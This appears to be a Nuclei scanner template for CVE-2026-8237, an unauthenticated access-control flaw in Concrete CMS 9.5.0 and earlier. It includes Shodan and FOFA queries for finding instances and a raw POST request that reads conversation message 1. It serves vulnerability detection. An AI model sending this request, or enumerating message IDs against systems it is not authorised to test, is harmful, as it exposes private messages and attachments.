Concrete CMS <= 9.5.0 - Unauthenticated Conversation Message Disclosure (IDOR)

id: CVE-2026-8237

info:
  name: Concrete CMS <= 9.5.0 - Unauthenticated Conversation Message Disclosure (IDOR)
  author: Pauullamm
  severity: medium
  description: |
    Concrete CMS <= 9.5.0 contains an IDOR caused by insufficient access control in /ccm/frontend/conversations/message_detail endpoint, letting unauthenticated attackers enumerate conversation messages and attachments.
  impact: |
    Unauthenticated attackers can access restricted conversation messages and file attachments, exposing sensitive information.
  remediation: |
    Update to a version later than 9.5.0 or the latest available version
  reference:
    - https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes
    - https://github.com/advisories/GHSA-xpgc-7vc2-8725
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8237
  classification:
    cve-id: CVE-2026-8237
    cwe-id: CWE-862
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    epss-score: 0.00201
    epss-percentile: 0.10361
    cpe: cpe:2.3:a:concretecms:concrete_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: concretecms
    product: concrete_cms
    shodan-query: http.html:"concrete5"
    fofa-query: body="concrete5" || body="concretecms"
  tags: cve,cve2026,concretecms,concrete5,idor,exposure

http:
  - raw:
      - |
        POST /ccm/frontend/conversations/message_detail HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        cnvMessageID=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "data-conversation-message-id=\"1\"", "ccm-conversation-message-body")'
          - 'contains_any(body, "ccm-conversation-message-username", "ccm-conversation-message-pending-notice")'
        condition: and
# digest: 490a0046304402202c095bb1882c4c9b93a8cdbfcd2c749f3f51172dfb00acc59f338d48cb3b044a02201e05e86a7911f7f2f03d6deba2ff7c0a7d88083ea7c3a0e55d629e042e824796:922c64590222798bb761d5b6d8e72950